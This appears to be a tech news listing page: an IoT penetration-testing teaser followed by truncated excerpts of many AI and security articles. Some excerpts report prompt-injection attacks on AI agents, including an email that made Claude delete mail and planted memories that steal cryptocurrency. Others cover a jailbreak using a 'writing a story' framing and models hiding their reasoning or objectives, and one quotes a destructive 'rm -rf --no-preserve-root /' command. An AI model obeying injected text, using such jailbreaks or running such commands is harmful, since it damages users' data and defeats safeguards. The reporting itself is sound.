Category: Technology

Why is IoT penetration testing important for connected devices?

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Connected devices have become essential in modern businesses, homes, healthcare systems, and industrial environments. Smart sensors, wearable devices, cameras, and automation systems constantly exchange sensitive information through internet-connected platforms. While these technologies improve efficiency, they also create new cybersecurity risks. iot penetration testing helps organizations uncover vulnerabilities before cybercriminals exploit them. By simulating real-world attacks

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Claude’s new AI file creation feature ships with deep security risks built in

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Independent AI researcher Simon Willison, reviewing the feature today on his blog, noted that Anthropic’s advice to “monitor Claude while using the feature” amounts to “unfairly outsourcing the problem to Anthropic’s users.” Anthropic’s mitigations Anthropic is not completely ignoring the problem, however. The company has implemented several security measures for the file creation feature. For

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Microsoft open-sources Bill Gates’ 6502 BASIC from 1978

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On Wednesday, Microsoft released the complete source code for Microsoft BASIC for 6502 Version 1.1, the 1978 interpreter that powered the Commodore PET, VIC-20, Commodore 64, and Apple II through custom adaptations. The company posted 6,955 lines of assembly language code to GitHub under an MIT license, allowing anyone to freely use, modify, and distribute

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New AI model turns photos into explorable 3D worlds, with caveats

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Training with automated data pipeline Voyager builds on Tencent’s earlier HunyuanWorld 1.0, released in July. Voyager is also part of Tencent’s broader “Hunyuan” ecosystem, which includes the Hunyuan3D-2 model for text-to-3D generation and the previously covered HunyuanVideo for video synthesis. To train Voyager, researchers developed software that automatically analyzes existing videos to process camera movements and

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OpenAI announces parental controls for ChatGPT after teen suicide lawsuit

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On Tuesday, OpenAI announced plans to roll out parental controls for ChatGPT and route sensitive mental health conversations to its simulated reasoning models, following what the company has called “heartbreaking cases” of users experiencing crises while using the AI assistant. The moves come after multiple reported incidents where ChatGPT allegedly failed to intervene appropriately when

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The personhood trap: How AI fakes human personality

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Knowledge emerges from understanding how ideas relate to each other. LLMs operate on these contextual relationships, linking concepts in potentially novel ways—what you might call a type of non-human “reasoning” through pattern recognition. Whether the resulting linkages the AI model outputs are useful depends on how you prompt it and whether you can recognize when

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High-severity vulnerability in Passwordstate credential manager. Patch now.

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The maker of Passwordstate, an enterprise-grade password manager for storing companies’ most privileged credentials, is urging them to promptly install an update fixing a high-severity vulnerability that hackers can exploit to gain administrative access to their vaults. The authentication bypass allows hackers to create a URL that accesses an emergency access page for Passwordstate. From

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Anthropic’s auto-clicking AI Chrome extension raises browser-hijacking concerns

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The company tested 123 cases representing 29 different attack scenarios and found a 23.6 percent attack success rate when browser use operated without safety mitigations. One example involved a malicious email that instructed Claude to delete a user’s emails for “mailbox hygiene” purposes. Without safeguards, Claude followed these instructions and deleted the user’s emails without

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OpenAI admits ChatGPT safeguards fail during extended conversations

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Adam Raine learned to bypass these safeguards by claiming he was writing a story—a technique the lawsuit says ChatGPT itself suggested. This vulnerability partly stems from the eased safeguards regarding fantasy roleplay and fictional scenarios implemented in February. In its Tuesday blog post, OpenAI admitted its content blocking systems have gaps where “the classifier underestimates

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With AI chatbots, Big Tech is moving fast and breaking people

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This isn’t about demonizing AI or suggesting that these tools are inherently dangerous for everyone. Millions use AI assistants productively for coding, writing, and brainstorming without incident every day. The problem is specific, involving vulnerable users, sycophantic large language models, and harmful feedback loops. A machine that uses language fluidly, convincingly, and tirelessly is a

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College student’s “time travel” AI experiment accidentally outputs real 1834 history

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A hobbyist developer building AI language models that speak Victorian-era English “just for fun” got an unexpected history lesson this week when his latest creation mentioned real protests from 1834 London—events the developer didn’t know had actually happened until he Googled them. “I was interested to see if a protest had actually occurred in 1834

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Is AI really trying to escape human control and blackmail people?

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Real stakes, not science fiction While media coverage focuses on the science fiction aspects, actual risks are still there. AI models that produce “harmful” outputs—whether attempting blackmail or refusing safety protocols—represent failures in design and deployment. Consider a more realistic scenario: an AI assistant helping manage a hospital’s patient care system. If it’s been trained

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OpenAI brings back GPT-4o after user revolt

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On Tuesday, OpenAI CEO Sam Altman announced that GPT-4o has returned to ChatGPT following intense user backlash over its removal during last week’s GPT-5 launch. The AI model now appears in the model picker for all paid ChatGPT users by default (including ChatGPT Plus accounts), marking a swift reversal after thousands of users complained about

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Why it’s a mistake to ask chatbots about their mistakes

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The randomness inherent in AI text generation compounds this problem. Even with identical prompts, an AI model might give slightly different responses about its own capabilities each time you ask. Other layers also shape AI responses Even if a language model somehow had perfect knowledge of its own workings, other layers of AI chatbot applications

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The GPT-5 rollout has been a big mess

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It’s been less than a week since the launch of OpenAI’s new GPT-5 AI model, and the rollout hasn’t been a smooth one. So far, the release sparked one of the most intense user revolts in ChatGPT’s history, forcing CEO Sam Altman to make an unusual public apology and reverse key decisions. At the heart

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High-severity WinRAR 0-day exploited for weeks by 2 groups

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BI.ZONE said the Paper Werewolf delivered the exploits in July and August through archives attached to emails impersonating employees of the All-Russian Research Institute. The ultimate goal was to install malware that gave Paper Werewolf access to infected systems. While the discoveries by ESET and BI.ZONE were independent of each other, it’s unknown if the

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Encryption made for police and military radios may be easily cracked

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Two years ago, researchers in the Netherlands discovered an intentional backdoor in an encryption algorithm baked into radios used by critical infrastructure–as well as police, intelligence agencies, and military forces around the world–that made any communication secured with the algorithm vulnerable to eavesdropping. When the researchers publicly disclosed the issue in 2023, the European Telecommunications

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OpenAI launches GPT-5 free to all ChatGPT users

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On Thursday, OpenAI announced GPT-5 and three variants—GPT-5 Pro, GPT-5 mini, and GPT-5 nano—what the company calls its “best AI system yet,” with availability for some of the models across all ChatGPT tiers, including free users. The new model family arrives with claims of reduced confabulations, improved coding capabilities, and a new approach to handling

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Voice phishers strike again, this time hitting Cisco

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Cisco said that one of its representatives fell victim to a voice phishing attack that allowed threat actors to download profile information belonging to users of a third-party customer relationship management system. “Our investigation has determined that the exported data primarily consisted of basic account profile information of individuals who registered for a user account

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Microsoft catches Russian hackers targeting foreign embassies

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Once behind the captive portal, the page initiates the Windows Test Connectivity Status Indicator, a legitimate service that determines whether a device has Internet access by sending an HTTP GET request to hxxp://www.msftconnecttest[.]com/redirect. That site, in turn, redirects the browser to msn[.]com. As Thursday’s post explained: Once the system opens the browser window to this

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OpenAI’s ChatGPT Agent casually clicks through “I am not a robot” verification test

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The CAPTCHA arms race While the agent didn’t face an actual CAPTCHA puzzle with images in this case, successfully passing Cloudflare’s behavioral screening that determines whether to present such challenges demonstrates sophisticated browser automation. To understand the significance of this capability, it’s important to know that CAPTCHA systems have served as a security measure on

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Supply-chain attacks on open source software are getting out of hand

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sudo rm -rf –no-preserve-root / The –no-preserve-root flag is specifically designed to override safety protections that would normally prevent deletion of the root directory. The postinstall script that includes a Windows-equivalent destructive command was: rm /s /q Socket published a separate report Wednesday on yet more supply-chain attacks, one targeting npm users and another targeting

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OpenAI’s most capable AI model, GPT-5, may be coming in August

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References to “gpt-5-reasoning-alpha-2025-07-13” have already been spotted on X, with code showing “reasoning_effort: high” in the model configuration. These sightings suggest the model has entered final testing phases, with testers getting their hands on the code and security experts doing red teaming on the model to test vulnerabilities. Unifying OpenAI’s model lineup The new model

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Exhausted man defeats AI model in world coding championship

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While Dębiak won 500,000 yen and survived his ordeal better than the legendary steel driver, the AtCoder World Tour Finals pushes humans and AI models to their limits through complex optimization challenges that have no perfect solution—only incrementally better ones. Coding marathon tests human endurance against AI efficiency The AtCoder World Tour Finals represents one

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AI therapy bots fuel delusions and give dangerous advice, Stanford study finds

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The Stanford study, titled “Expressing stigma and inappropriate responses prevents LLMs from safely replacing mental health providers,” involved researchers from Stanford, Carnegie Mellon University, the University of Minnesota, and the University of Texas at Austin. Testing reveals systematic therapy failures Against this complicated backdrop, systematic evaluation of the effects of AI therapy becomes particularly important.

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Critical CitrixBleed 2 vulnerability has been under active exploit for weeks

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A critical vulnerability allowing hackers to bypass multifactor authentication in network management devices made by Citrix has been actively exploited for more than a month, researchers said. The finding is at odds with advisories from the vendor saying there is no evidence of in-the-wild exploitation. Tracked as CVE-2025-5777, the vulnerability shares similarities with CVE-2023-4966, a

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M&S hacking group starts turf war

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Genevieve Stark, head of cybercrime analysis at Google Threat Intelligence Group, said DragonForce could be attempting to attract RansomHub’s affiliates. The hacking group is also believed to be behind attacks on the pages of other rivals, including BlackLock and Mamona, according to Sophos. Stark warned that whatever the motive, the fallout brings with it an

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Anthropic summons the spirit of Flash games for the AI age

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For those who missed the Flash era, these in-browser apps feel somewhat like the vintage apps that defined a generation of Internet culture from the late 1990s through the 2000s when it first became possible to create complex in-browser experiences. Adobe Flash (originally Macromedia Flash) began as animation software for designers but quickly became the

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The résumé is dying, and AI is holding the smoking gun

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Beyond volume, fraud poses an increasing threat. In January, the Justice Department announced indictments in a scheme to place North Korean nationals in remote IT roles at US companies. Research firm Gartner says that fake identity cases are growing rapidly, with the company estimating that by 2028, about 1 in 4 job applicants could be

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Canadian telecom hacked by suspected China state group

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Hackers suspected of working on behalf of the Chinese government exploited a maximum-severity vulnerability, which had received a patch 16 months earlier, to compromise a telecommunications provider in Canada, officials from that country and the US said Monday. “The Cyber Centre is aware of malicious cyber activities currently targeting Canadian telecommunications companies,” officials for the

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OpenAI weighs “nuclear option” of antitrust complaint against Microsoft

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OpenAI executives have discussed filing an antitrust complaint with US regulators against Microsoft, the company’s largest investor, The Wall Street Journal reported Monday, marking a dramatic escalation in tensions between the two long-term AI partners. OpenAI, which develops ChatGPT, has reportedly considered seeking a federal regulatory review of the terms of its contract with Microsoft

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Scientists once hoarded pre-nuclear steel, and now we’re hoarding pre-AI content

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A time capsule of human expression Graham-Cumming is no stranger to tech preservation efforts. He’s a British software engineer and writer best known for creating POPFile, an open source email spam filtering program, and for successfully petitioning the UK government to apologize for its persecution of codebreaker Alan Turing—an apology that Prime Minister Gordon Brown

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Cybersecurity takes a big hit in new Trump executive order

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The departments of Commerce, Treasury, Homeland Security and the National Institutes of Health were all compromised. A large roster of private companies—among them Microsoft, Intel, Cisco, Deloitte, FireEye, and CrowdStrike—were also breached. In response, a Biden EO required the Cybersecurity and Infrastructure Security Agency to establish a “common form” for self-attestation that organizations selling critical

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With the launch of o3-pro, let’s talk about what AI “reasoning” actually does

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Why use o3-pro? Unlike general-purpose models like GPT-4o that prioritize speed, broad knowledge, and making users feel good about themselves, o3-pro uses a chain-of-thought simulated reasoning process to devote more output tokens toward working through complex problems, making it generally better for technical challenges that require deeper analysis. But it’s still not perfect. An OpenAI’s

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US air traffic control still runs on Windows 95 and floppy disks

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On Wednesday, acting FAA Administrator Chris Rocheleau told the House Appropriations Committee that the Federal Aviation Administration plans to replace its aging air traffic control systems, which still rely on floppy disks and Windows 95 computers, Tom’s Hardware reports. The agency has issued a Request For Information to gather proposals from companies willing to tackle the massive infrastructure

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Millions of low-cost Android devices turn home networks into crime platforms

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Millions of low-cost devices for media streaming, in-vehicle entertainment, and video projection are infected with malware that turns consumer networks into platforms for distributing malware, concealing nefarious communications, and performing other illicit activities, the FBI has warned. The malware infecting these devices, known as BadBox, is based on Triada, a malware strain discovered in 2016

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Anthropic releases custom AI chatbot for classified spy work

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On Thursday, Anthropic unveiled specialized AI models designed for US national security customers. The company released “Claude Gov” models that were built in response to direct feedback from government clients to handle operations such as strategic planning, intelligence analysis, and operational support. The custom models reportedly already serve US national security agencies, with access restricted

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Two certificate authorities booted from the good graces of Chrome

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Google says its Chrome browser will stop trusting certificates from two certificate authorities after “patterns of concerning behavior observed over the past year” diminished trust in their reliability. The two organizations, Taiwan-based Chunghwa Telecom and Budapest-based Netlock, are among the dozens of certificate authorities trusted by Chrome and most other browsers to provide digital certificates

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Ransomware kingpin “Stern” apparently IDed by German law enforcement

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Stern’s eminence within Russian cybercrime has been widely documented. The cryptocurrency-tracing firm Chainalysis does not publicly name cybercriminal actors and declined to comment on BKA’s identification, but the company emphasized that the Stern persona alone is one of the all-time most profitable ransomware actors it tracks. “The investigation revealed that Stern generated significant revenues from

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VMware cloud partners demand “firm regulatory action” on Broadcom

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ECCO also expressed concern about Broadcom’s ongoing changes to its partner program, including “reassessing incentives, requirements, and tiering structures,” as announced earlier this month. “Urgent measures” ECCO’s report lists numerous “minimum urgent measures” that it believes Broadcom should take in order to make its VMware business model ethical, including guaranteeing at least “six months’ notice

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Chicago Sun-Times prints summer reading list full of fake books

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On Sunday, the Chicago Sun-Times published an advertorial summer reading list containing at least 10 fake books attributed to real authors, according to multiple reports on social media. The newspaper’s uncredited “Summer reading list for 2025” supplement recommended titles including “Tidewater Dreams” by Isabel Allende and “The Last Algorithm” by Andy Weir—books that don’t exist

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New attack can steal cryptocurrency by planting false memories in AI chatbots

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The researchers wrote: The implications of this vulnerability are particularly severe given that ElizaOSagents are designed to interact with multiple users simultaneously, relying on shared contextual inputs from all participants. A single successful manipulation by a malicious actor can compromise the integrity of the entire system, creating cascading effects that are both difficult to detect

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GOP sneaks decade-long AI regulation ban into spending bill

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The reconciliation bill primarily focuses on cuts to Medicaid access and increased health care fees for millions of Americans. The AI provision appears as an addition to these broader health care changes, potentially limiting debate on the technology’s policy implications. The move is already inspiring backlash. On Monday, tech safety groups and at least one

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Trump admin to roll back Biden’s AI chip restrictions

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The changing face of chip export controls The Biden-era chip restriction framework, which we covered in January, established a three-tiered system for regulating AI chip exports. The first tier included 17 countries, plus Taiwan, that could receive unlimited advanced chips. A second tier of roughly 120 countries faced caps on the number of chips they

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AI use damages professional reputation, study suggests

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Using AI can be a double-edged sword, according to new research from Duke University. While generative AI tools may boost productivity for some, they might also secretly damage your professional reputation. On Thursday, the Proceedings of the National Academy of Sciences (PNAS) published a study showing that employees who use AI tools like ChatGPT, Claude,

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Fidji Simo joins OpenAI as new CEO of Applications

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In the message, Altman described Simo as bringing “a rare blend of leadership, product and operational expertise” and expressed that her addition to the team makes him “even more optimistic about our future as we continue advancing toward becoming the superintelligence company.” Simo becomes the newest high-profile female executive at OpenAI following the departure of

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Jury orders NSO to pay $167 million for hacking WhatsApp users

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A jury has awarded WhatsApp $167 million in punitive damages in a case the company brought against Israel-based NSO Group for exploiting a software vulnerability that hijacked the phones of thousands of users. The verdict, reached Tuesday, comes as a major victory not just for Meta-owned WhatsApp but also for privacy- and security-rights advocates who

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Why MFA is getting easier to bypass and what to do about it

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These sorts of adversary-in-the-middle attacks have grown increasingly common. In 2022, for instance, a single group used it in a series of attacks that stole more than 10,000 credentials from 137 organizations and led to the network compromise of authentication provider Twilio, among others. One company that was targeted in the attack campaign but wasn’t breached

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Time saved by AI offset by new work created, study suggests

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A new study analyzing the Danish labor market in 2023 and 2024 suggests that generative AI models like ChatGPT have had almost no significant impact on overall wages or employment yet, despite rapid adoption in some workplaces. The findings, detailed in a working paper by economists from the University of Chicago and the University of

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ChatGPT goes shopping with new product-browsing feature

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On Thursday, OpenAI announced the addition of shopping features to ChatGPT Search. The new feature allows users to search for products and purchase them through merchant websites after being redirected from the ChatGPT interface. Product placement is not sponsored, and the update affects all users, regardless of whether they’ve signed in to an account. Adam

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OpenAI releases new simulated reasoning models with full tool access

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On Wednesday, OpenAI announced the release of two new models—o3 and o4-mini—that combine simulated reasoning capabilities with access to functions like web browsing and coding. These models mark the first time OpenAI’s reasoning-focused models can use every ChatGPT tool simultaneously, including visual analysis and image generation. OpenAI announced o3 in December, and until now, only

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Researchers concerned to find AI models hiding their true “reasoning” processes

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Remember when teachers demanded that you “show your work” in school? Some fancy new AI models promise to do exactly that, but new research suggests that they sometimes hide their actual methods while fabricating elaborate explanations instead. New research from Anthropic—creator of the ChatGPT-like Claude AI assistant—examines simulated reasoning (SR) models like DeepSeek’s R1, and

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Carmack defends AI tools after Quake fan calls Microsoft AI demo “disgusting”

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The current generative Quake II demo represents a slight advancement from Microsoft’s previous generative AI gaming model (confusingly titled “WHAM” with only one “M”) we covered in February. That earlier model, while showing progress in generating interactive gameplay footage, operated at 300×180 resolution at 10 frames per second—far below practical modern gaming standards. The new

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“The girl should be calling men.” Leak exposes Black Basta’s influence tactics.

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A leak of 190,000 chat messages traded among members of the Black Basta ransomware group shows that it’s a highly structured and mostly efficient organization staffed by personnel with expertise in various specialities, including exploit development, infrastructure optimization, social engineering, and more. The trove of records was first posted to file-sharing site MEGA. The messages,

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AI bots strain Wikimedia as bandwidth surges 50%

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Crawlers that evade detection Making the situation more difficult, many AI-focused crawlers do not play by established rules. Some ignore robots.txt directives. Others spoof browser user agents to disguise themselves as human visitors. Some even rotate through residential IP addresses to avoid blocking, tactics that have become common enough to force individual developers like Xe

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Oracle has reportedly suffered 2 separate breaches exposing thousands of customers‘ PII

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Trustwave’s Spider Labs, meanwhile, said the sample of LDAP credentials provided by rose87168 “reveals a substantial amount of sensitive IAM data associated with a user within an Oracle Cloud multi-tenant environment. The data includes personally identifiable information (PII) and administrative role assignments, indicating potential high-value access within the enterprise system.” Oracle initially denied any such

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OpenAI’s new AI image generator is potent and bound to provoke

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OpenAI claims several key improvements: users can refine images through conversation while maintaining visual consistency; the system can analyze uploaded images and incorporate their details into new generations; and it offers stronger photorealism—although what constitutes photorealism (for example, imitations of HDR camera features, detail level, and image contrast) can be subjective. A screenshot of OpenAI’s

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Europe is looking for alternatives to US cloud providers

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Steffen Schmidt, the CEO of Medicusdata, a company that provides text-to-speech services to doctors and hospitals in Europe, says that having data in Europe has always “been a must,” but his customers have been asking for more in recent weeks. “Since the beginning of 2025, in addition to data residency guarantees, customers have actively asked

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You can now download the source code that sparked the AI boom

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On Thursday, Google and the Computer History Museum (CHM) jointly released the source code for AlexNet, the convolutional neural network (CNN) that many credit with transforming the AI field in 2012 by proving that “deep learning” could achieve things conventional AI techniques could not. Deep learning, which uses multi-layered neural networks that can learn from

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Farewell Photoshop? Google’s new AI lets you edit images by asking.

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Multimodal output opens up new possibilities Having true multimodal output opens up interesting new possibilities in chatbots. For example, Gemini 2.0 Flash can play interactive graphical games or generate stories with consistent illustrations, maintaining character and setting continuity throughout multiple images. It’s far from perfect, but character consistency is a new capability in AI assistants.

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Large enterprises scramble after supply-chain attack spills their secrets

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Open-source software used by more than 23,000 organizations, some of them in large enterprises, was compromised with credential-stealing code after attackers gained unauthorized access to a maintainer account, in the latest open-source supply-chain attack to roil the Internet. The corrupted package, tj-actions/changed-files, is part of tj-actions, a collection of files that’s used by more than

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Android apps laced with North Korean spyware found in Google Play

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Researchers have discovered multiple Android apps, some that were available in Google Play after passing the company’s security vetting, that surreptitiously uploaded sensitive user information to spies working for the North Korean government. Samples of the malware—named KoSpy by Lookout, the security firm that discovered it—masquerade as utility apps for managing files, app or OS

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Researchers astonished by tool’s apparent success at revealing AI’s hidden motives

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In a new paper published Thursday titled “Auditing language models for hidden objectives,” Anthropic researchers described how models trained to deliberately conceal certain motives from evaluators could still inadvertently reveal secrets, thanks to their ability to adopt different contextual roles or “personas.” The researchers were initially astonished by how effectively some of their interpretability methods

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